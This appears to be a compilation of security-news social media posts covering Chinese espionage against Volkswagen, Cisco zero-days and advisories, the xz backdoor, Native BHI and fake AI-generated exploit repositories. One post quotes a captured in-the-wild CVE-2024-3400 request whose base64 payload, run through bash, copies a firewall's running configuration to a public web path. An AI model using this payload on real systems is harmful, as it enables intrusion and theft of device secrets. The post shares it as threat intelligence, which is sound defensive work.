As a user,
I want your application to randomly steal focus
So that,
I enter my password managers main password into a chat box
MS-DOS is now open source, so in a time honored tradition. Lets look for curse words!
remember how Naomi fucking told us this a YEAR AGO and no one wanted to believe it until the government knocked on her door and she can't post anymore?
https://www.technologyreview.com/2024/04/24/1091740/chinese-keyboard-app-security-encryption/
Cisco warns that a group of state-sponsored hackers has exploited two zero days in its ASA security appliances to spy on government networks over the last several months. Sources close to the investigation tell us they suspect China. https://www.wired.com/story/arcanedoor-cyberspies-hacked-cisco-firewalls-to-access-government-networks/
Around 1985, ISI (Information Storage Inc.) introduced their 525 WC Optical Storage System. This was one of a number of magneto-optical disc storage formats introduced in the mid-1980s, and allowed users to record data to an optical disc in the days before CD-R and CD-RW.
Single-sided and double-sided discs were available, with a capacity of 115 or 230 MB respectively. The discs were pre-formatted, and were WORM (write-one, read many) capable.
Find out more at https://obsoletemedia.org/isi-525-wc/
I’ve been writing a lot of stories about state-sponsored cyberespionage by China. The case we’re revealing today is a prime example of this, telling the story of a five-year campaign against one of the key players in 🇩🇪 the Volkswagen group
The hackers started back in 2010, with initial mapping of the infrastructure and then, until 2015, tried to siphon data out of VW networks – repeatedly and successfully so. Even though VW removed the hackers, they kept coming back.
Very often companies do not know what the hackers were after because the hackers have deleted their traces until the time anoybody notices their presence. In this case, it was different: Volkswagen CERT was able to restore RAR-archives, giving rare insight into the tasking.
"I deleted keys generated by our TV for 5 straight minutes. 5 Minutes of like 200BPM clicking. I restarted. Everything worked again. I laughed so hard I cried. I felt like I'd solved a murder."
Tech people, THIS IS A GREAT FANTASIC READ!!!
The title is, "DO NOT BUY HISENSE TV'S"
https://cohost.org/ghoulnoise/post/5286766-do-not-buy-hisense-t
#Tech #Android #TV #Debug
Cisco zero-day (PoC publicly disclosed): Cisco Integrated Management Controller CLI Command Injection Vulnerability CVE-2024-20295 (8.8 high) 🔗 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-cmd-inj-mUx4c5AJ
A vulnerability in the CLI of the Cisco Integrated Management Controller (IMC) could allow an authenticated, local attacker to perform command injection attacks on the underlying operating system and elevate privileges to root. To exploit this vulnerability, the attacker must have read-only or higher privileges on an affected device.
This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by submitting a crafted CLI command. A successful exploit could allow the attacker to elevate privileges to root.
The Cisco PSIRT is aware that proof-of-concept exploit code is available for the vulnerability that is described in this advisory.
#zeroday #proofofconcept #vulnerability #Cisco #vulnerability #CVE_2024_20295
Are we human? or are we dancer?
Introducing HydraDancer: A new hardware board and open source firmware for faster USB peripheral emulation.
The Facedancer legacy lives on!
If only we've gone faster it is because we relied on the previous work of our good neighbors
Thiébaud Fuchs tells the story here
https://blog.quarkslab.com/hydradancer-faster-usb-emulation-for-facedancer.html
From hackinglz on the Nazi site:
Since it's out there now this is what I caught in wild CVE-2024-3400
GET /global-protect/login.esp HTTP/1.1 Host: X User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: */* Connection: keep-alive Cookie: SESSID=../../../../opt/panlogs/tmp/device_telemetry/minute/`echo${IFS}dGFyIC1jemYgL3Zhci9hcHB3ZWIvc3NsdnBuZG9jcy9nbG9iYWwtcHJvdGVjdC9wb3J0YWwvanMvanF1ZXJ5Lm1heC5qcyAvb3B0L3BhbmNmZy9tZ210L3NhdmVkLWNvbmZpZ3MvcnVubmluZy1jb25maWcueG1s|base64${IFS}-d|bash${IFS}-i`
b64 decoded
tar -czf /var/appweb/sslvpndocs/global-protect/portal/js/jquery.max.js /opt/pancfg/mgmt/saved-configs/running-config.xml
Taring running config to world readable location in /global-protect/portal/js/jquery.max.js
We've officially reached the stage of the LLM information crisis in which the normal 0-day lifecycle must now include a check against LLM-generated garbage.
Repos like this one will purport to be proofs-of-concept of new vulnerabilities, when in fact they are simply garbage code generated by a model. The README is also model-generated.
The motivations for this behavior are beyond me. Internet clout maybe? It's unclear, but what is clear is that every new hot button vuln is going to come along with this kind of crap. It's just making defenders' jobs that much harder.
TRUTH SOCIAL SENT ME THEIR SOURCE CODE: https://boehs.org/node/truth-social
Fedi takes another huge win. I wonder what we'll find.
PSA: there is a guy out there scamming people for exploits and publishing stolen work as their own. the guy is going by "james" (@ Benzoking201 on telegram), jmpe4x on github, and is running a blog at jmpeax[.]dev
he scammed a young researcher for their linux kernel exploit (original researcher's work here: https://github.com/YuriiCrimson/ExploitGSM) by offering $15k and then published a poorly done translation of the writeup as his own.
Lasse Collin in commit message: “The other maintainer suddenly disappeared.” 😆
#jiatan #xz
https://github.com/tukaani-project/xz/commit/77a294d98a9d2d48f7e4ac273711518bf689f5c4
Branch History Injection (BHI) is back! Disclosing Native BHI, bypassing deployed Spectre-v2/BHI mitigations (e.g., eBPF=off) to leak arbitrary kernel/host memory (e.g., root password hash below). Joint work by @sanwieb @hbitmasks @herbertbos @c_giuffrida: https://vusec.net/projects/native-bhi